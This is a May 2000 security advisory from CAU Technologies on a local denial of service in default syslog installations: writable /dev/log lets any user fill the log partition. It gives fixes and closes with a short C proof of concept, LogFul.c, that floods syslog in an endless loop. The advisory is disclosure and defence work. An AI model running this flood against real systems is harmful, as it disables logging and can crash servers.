CAU Technologies, Inc. Security Advisory 2000.05.19.001 : Default Syslog Installations

[advisory () CAUTECH COM (Security Advisory)]

-----BEGIN PGP SIGNED MESSAGE-----

                       CAU Technologies, Inc.
                         Security Advisory

=================/==================================================

      Advisory ID: 2000.05.19.001
     Release Date: May 19, 2000
   Application/OS: Systems running Default Syslog installations
            Topic: Risk of server DoS and/or preventing syslog from
                   logging
    Vendor Status: Aware of issue, provides recommended solutions
     Advisory URL: http://www.cautech.com/advisories/2000.05.19.001.html
     Author/Email: Jason Ihde (jihde () cautech com)
                   Dustin Trammell (dtrammell () cautech com)

=================/==================================================

Topic
=====
     This is a known issue (see Recommendations).  This advisory was
     published simply to raise general awareness of this issue and
     to provide alternative recommendations to the ones provided by
     the maintainers of the syslogd package.

     Default permissions on syslog components introduce the risk of
     Denial of Service of the server itself or at a minimum,
     preventing syslog from logging.  Various OS distributions ship
     with a syslog package that introduces this risk.

Overview
========
     Default permissions on syslog components /usr/bin/logger and
     device /dev/log allows for any local user to use logger or
     user-supplied code including syslog.h to fill the drive
     partition on which the logfile(s) reside.

     This is not a vulnerability in the syslog package;  everything
     described here is expected behavior of syslog.  The risk
     is introduced by inappropriate permissions on /dev/log and any
     other socket that syslogd listens on.  The same risk is
     introduced when syslogd listens on a network soket, allowing
     remote users to mount a similar attack.

Impact
======
     If the logfiles are located on their own partition, that
     partition can be filled, preventing syslog from logging any
     further events to the logfile(s).  If the logfiles are located
     on other partitions, the results could range from irregular
     behaviour to a complete Denial of Service of the machine.

Technical Explanation
=====================
     The default permissions on /usr/bin/logger (rwxr-xr-x) allow
     any local user to execute logger.  The default permissions on
     /dev/log (srw-rw-rw-) allow the user running logger or any
     programmer that can include syslog.h to successfully write to
     the logfiles via syslogd.  Because syslogd is writing to the
     logfile and not the user, the user is allowed to write to
     filespace not owned by the user, escaping any disk quotas that
     may exist for the user.  This allows ANY local user to mount
     this attack.

Affected Systems
================
     Systems running default syslog installations.  We have tested
     with syslogd 1.3-3 that is included with Slackware Linux 7 and
     Slackware Linux 4.

Recommendations
===============
     The immediate quickfix is to chmod 700 /dev/log, however this
     will break any system that has users other than root that need
     to log to the system logger.

     The recommended fix is to create a log group, set appropriate
     permissions on /dev/log to allow this group to write, and add
     any users that need to log to the log group.

     Vendor Recommendations (excerpt from the syslogd manpage):

     "There are a number of methods of protecting a machine:

     1.     Implement kernel firewalling to limit  which  hosts
            or networks have access to the 514/UDP socket.

     2.     Logging  can be directed to an isolated or non-root
            filesystem which, if filled, will  not  impair  the
            machine.

     3.     The  ext2  filesystem can be used which can be con-
            figured to limit a certain percentage of a filesys-
            tem  to  usage  by  root only.  NOTE that this will
            require syslogd to be run as  a  non-root  process.
            ALSO  NOTE  that  this will prevent usage of remote
            logging since syslogd will be unable to bind to the
            514/UDP socket.

     4.     Disabling  inet  domain  sockets will limit risk to
            the local machine.

     5.     Use step 4 and if the problem persists and  is  not
            secondary  to  a  rogue program/daemon get a 3.5 ft
            (approx. 1 meter) length of sucker rod* and have  a
            chat with the user in question.

            Sucker  rod def. -- 3/4, 7/8 or 1in. hardened steel
            rod, male threaded on each end.  Primary use in the
            oil  industry  in  Western  North  Dakota and other
            locations to pump 'suck' oil from oil wells.   Sec-
            ondary uses are for the construction of cattle feed
            lots and for dealing with the  occasional  recalci-
            trant or belligerent individual."

Exploitation
============
     Exploitation is trivial:

- -----8<----- (snip)

/*  LogFul.c - 05.14.2000 : Dustin Trammell, CAU Technologies, Inc.

    Proof of Concept code to support a system logger issue Jason
    Ihde found (08.1999) originally on Slackware 4.0 based on impropper
    permissions for syslog components and/or lack of quotas for logging.

    Code built and tested on Slackware 4 kernel 2.0.35 and Slackware
    Linux 7 kernel 2.2.14.

    Usage: su <any_user> -c "./logful"
*/

#include <stdio.h>
#include <unistd.h>
#include <syslog.h>
#include <time.h>

int value, x;

main() {
  x = 0;
  openlog( "LogFul", LOG_PID|LOG_NDELAY, LOG_AUTHPRIV );
  while(1) {
      x++;
      value = time(NULL) + x;
      syslog( LOG_AUTHPRIV|LOG_INFO, "%d", value );
  }
  closelog();
}

- -----8<----- (snip)

Credits
=======
     John Morrison (jmorriso () rflab ee ubc ca) originally reported
     this risk to the maintainers of syslogd.

-----BEGIN PGP SIGNATURE-----
iQEVAwUAOSVrrb8Yi8QyNKwxAQEmbwgAoj801Cwj/oiUSlOAruxpOQVMsbOG67Gd
HC6sOW67LlheT+qYobXq7IqqgycHEaMYjs2cycNwJ+QV/SdDyaY3xACYOCijl76X
d6u3TSBZiFxUr3yav6LfpYCzTQrjQ0cAfMBK4gorK0fxekXhJOHYE5IVDqyvGkkq
9xRyP9Ss5ere3Nn9uvvCMFkScLaMMr38+IOR7v6jEGfc4PiJkx3iIojjUGkCQjnb
zccgdr68+V1eMx0KSIMZZxEhSRzWjVs8gkQUiZKXO4BtstrwOb1IHiYPXfEbAI/d
SiCubc82tBhROqzx3hstB1h9oO0NUSkaPP5uanItLDqzWDsqex4UVQ==
=VtJq
-----END PGP SIGNATURE-----